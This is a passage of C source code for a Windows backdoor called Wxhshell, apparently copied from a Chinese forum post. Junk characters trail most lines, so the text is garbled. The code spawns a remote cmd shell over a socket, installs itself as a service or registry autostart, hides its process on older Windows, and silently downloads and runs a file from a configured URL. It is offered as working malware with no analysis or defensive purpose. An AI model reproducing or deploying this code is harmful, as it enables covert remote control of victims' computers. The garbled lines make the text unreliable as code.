    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u^aFj%}]L  
    if(Boot(SHUTDOWN)) n ,&/D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XDY:`vZ}  
    else { Uxk[O  
    closesocket(wsh); {;Y 89&*R  
    ExitThread(0); ==h|+NFa  
    } :~ZqB\>i  
    break; eC+"mhB  
    } QX/X {h6  
  // 获取shell *%OYAsc  
  case 's': { Hyq@O 8  
    CmdShell(wsh); 't0+:o">:  
    closesocket(wsh); I+Ncmg )>  
    ExitThread(0); J8u{K.( *7  
    break; B.}_],  
  } bVa+kYE  
  // 退出 *]}CSZ[>  
  case 'x': { {uaZ<4N.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4GU/V\e|  
    CloseIt(wsh); eq@am(#&kY  
    break; <THZ2`tTK3  
    } d}{LM!s  
  // 离开 =9qGEkd3  
  case 'q': { lC'{QUC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u0bfX,e2U  
    closesocket(wsh); :mXGIRi  
    WSACleanup(); bH\'uaJ  
    exit(1); N|!MO{sB  
    break; (~j,mk  
        } fB f 4]^  
  } 74@lo-/LY  
  } &v5G92  
~ON1Zw[+  
  // 提示信息 *#&k+{a^2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |^7f\.oF  
} 8sN#e(@  
  } V=j-Um;  
GBH_r 0  
  return; K3vseor  
} v2 29H<  
_ztZ> '  
// shell模块句柄 ,op]-CY 5  
int CmdShell(SOCKET sock) g>2aIun_Q  
{ &8[ZN$Xe"  
STARTUPINFO si; YCa@R!M*O  
ZeroMemory(&si,sizeof(si)); *4 <4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s? QVX~S"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r\$6'+Si  
PROCESS_INFORMATION ProcessInfo; _iG2J&1'L  
char cmdline[]="cmd"; tigT@!`$Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J>rka]*  
  return 0;  9R9__w;  
} Y3#Nux%  
6g5PM4\  
// 自身启动模式 uije#cj#O  
int StartFromService(void) y[: ~CL  
{ /@ y;iJk;  
typedef struct si_W:mLF{a  
{ 2 ;JQX!  
  DWORD ExitStatus; Vy-28icZ`  
  DWORD PebBaseAddress; '3A+"k-}mh  
  DWORD AffinityMask; 2O eshkE  
  DWORD BasePriority; e]lJqC  
  ULONG UniqueProcessId; ' |&>/dyq  
  ULONG InheritedFromUniqueProcessId; "-w ^D!C  
}   PROCESS_BASIC_INFORMATION; rRB~=J"  
Og,Y)a;=  
PROCNTQSIP NtQueryInformationProcess; 95=g Y  
kOw=c Gt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J,f/fPaf7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AY#wVy  
t)YUPDQ@J  
  HANDLE             hProcess; <f N; xIB  
  PROCESS_BASIC_INFORMATION pbi; ev9; Ld  
"\e:h| .G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F\a]n^ Y  
  if(NULL == hInst ) return 0; Pm4e8b  
3sH\1)Zz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g>so R&*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9YB2 e84j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (+* ][|T  
9A~>`.y  
  if (!NtQueryInformationProcess) return 0; QV7,G9  
cv}aS_`f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <OTWT`G2  
  if(!hProcess) return 0; nqT>qS[Z  
-<_QF82  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6?N4l ]l  
5iVQc-m&  
  CloseHandle(hProcess); $9 K(F~/  
pz{'1\_+9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )zU:  
if(hProcess==NULL) return 0; ]*qU+&  
axmsrj W#  
HMODULE hMod; LheFQ A  
char procName[255]; $.pTB(tO  
unsigned long cbNeeded; NmJ`?-Z  
OTj,O77k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ._?V%/  
%SAw;ZtQ:  
  CloseHandle(hProcess); `Oq M8U @  
;j{7!GeKa  
if(strstr(procName,"services")) return 1; // 以服务启动 YTK^ijmU6x  
MaO"#{i  
  return 0; // 注册表启动 gH[,Xx?BN!  
} Ojq]HM6f  
\R(R9cry  
// 主模块 w/W7N   
int StartWxhshell(LPSTR lpCmdLine) \<~}o I  
{ N2BI_,hI1  
  SOCKET wsl; Z|G/^DK!  
BOOL val=TRUE; Us,)]W.S  
  int port=0; t2- ^-g6  
  struct sockaddr_in door;  FZ F @  
[#Y' dFQ  
  if(wscfg.ws_autoins) Install(); ciudRK63M  
uRE*%d>  
port=atoi(lpCmdLine); Rf)ke("  
?7 \\e;j}  
if(port<=0) port=wscfg.ws_port; !^e =P%S  
'cV?i&;  
  WSADATA data; _T5)n=|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  B/G-Yh$E  
/.Fj.6U5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _%~$'Hy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pj0fM{E  
  door.sin_family = AF_INET; S,''>`w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $IVwA  
  door.sin_port = htons(port); "X04mQn15  
 |t))u`~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * RWm47  
closesocket(wsl); /)EY2Y'  
return 1; ib$nc2BPb  
} P`S@n/}  
Iy';x  
  if(listen(wsl,2) == INVALID_SOCKET) { <xo-Fv  
closesocket(wsl); */z??fI27  
return 1; 06 i;T~Y  
} N2ied^* 0  
  Wxhshell(wsl); MV0Lq:# N  
  WSACleanup(); +pf5\#l?  
6?qDdVR~]  
return 0; #DFV=:|~  
<@G8ni  
} n((vY.NDV  
fKHE;A*>%  
// 以NT服务方式启动 GaekFbW)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y<- _(^  
{ JBC$Ku  
DWORD   status = 0; =WG=C1Z  
  DWORD   specificError = 0xfffffff; EHn"n"Y  
I7n3xN&4"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !2tW$BP^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3GH(wSv9\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k`\R+WK$  
  serviceStatus.dwWin32ExitCode     = 0; ]ikomCg   
  serviceStatus.dwServiceSpecificExitCode = 0; -r<#rITH"  
  serviceStatus.dwCheckPoint       = 0; 8z2Rry w  
  serviceStatus.dwWaitHint       = 0; CSTI?A"P  
g5Z#xszj+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !TKkec8$  
  if (hServiceStatusHandle==0) return; p`F9Amb  
*|% ^0#$c  
status = GetLastError(); B=Ym x2A9]  
  if (status!=NO_ERROR) c~=B0K-  
{ =JS;;PzX[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y "w|g~x]c  
    serviceStatus.dwCheckPoint       = 0; pZ(Fx&fy  
    serviceStatus.dwWaitHint       = 0; +nL+ N  
    serviceStatus.dwWin32ExitCode     = status; ;sPoUn s'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9H0H u]zM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $HJTj29/  
    return; {Qv>q$Q  
  } ytz SAbj  
FT.,%2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |Ic`,>XM  
  serviceStatus.dwCheckPoint       = 0; | ?yo 3  
  serviceStatus.dwWaitHint       = 0; jS.g]k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  \ %=9  
} F {+`uG  
r?/A?DMe  
// 处理NT服务事件,比如:启动、停止 <#M`5X.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G:W>I=^DaR  
{ 'heJ"k?  
switch(fdwControl) `J0i.0p  
{ o>Er_r  
case SERVICE_CONTROL_STOP: 6w[}&pX"z  
  serviceStatus.dwWin32ExitCode = 0; j*v40mXl`2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ? "/ fPV-  
  serviceStatus.dwCheckPoint   = 0;  m#vL*]c}  
  serviceStatus.dwWaitHint     = 0; w Y   
  { SqA J-_~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A{eLl  
  } S8d8%R~1=h  
  return; 5kypMHJm  
case SERVICE_CONTROL_PAUSE: nmU_N:Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lw1EWN6}_&  
  break; V'Kgdj  
case SERVICE_CONTROL_CONTINUE: A3N]8?D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P>ceeoYQuA  
  break; H*^\h?s  
case SERVICE_CONTROL_INTERROGATE: >EsziRm  
  break; MPgS!V1  
}; Yc r3HLJy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {c?JuV4q?  
} DQ#H,\ ^<  
I` K$E/ns  
// 标准应用程序主函数 O,2~"~kF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i':i_kU  
{ cF)/^5Z  
B+d<F[ |  
// 获取操作系统版本 F>je4S;  
OsIsNt=GetOsVer(); |{r$jZeE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A>`945|  
51C2u)HE  
  // 从命令行安装 X?:o;wB  
  if(strpbrk(lpCmdLine,"iI")) Install(); IP`6bMd  
6qWdd&1  
  // 下载执行文件 OLGBt  
if(wscfg.ws_downexe) { 2&'|Eqk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7uorQfR?  
  WinExec(wscfg.ws_filenam,SW_HIDE); D_mL,w  
} >_dx_<75&  
.nu @ o40  
if(!OsIsNt) { T<3BT  
// 如果时win9x,隐藏进程并且设置为注册表启动 fKC3-zm  
HideProc(); =<r8fXWZ  
StartWxhshell(lpCmdLine); g]c[O*NTL  
} `afIYXP  
else  VGHWNMT  
  if(StartFromService()) s>k Uh  
  // 以服务方式启动 7|\@zQ h   
  StartServiceCtrlDispatcher(DispatchTable); `\`>0hlu  
else vu!d)Fy  
  // 普通方式启动 n79QJl/  
  StartWxhshell(lpCmdLine); ;8WZx  
7(M(7}EKA  
return 0; w=]Ks'C]  
}
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只看该作者 1 发表于: 2006-08-21
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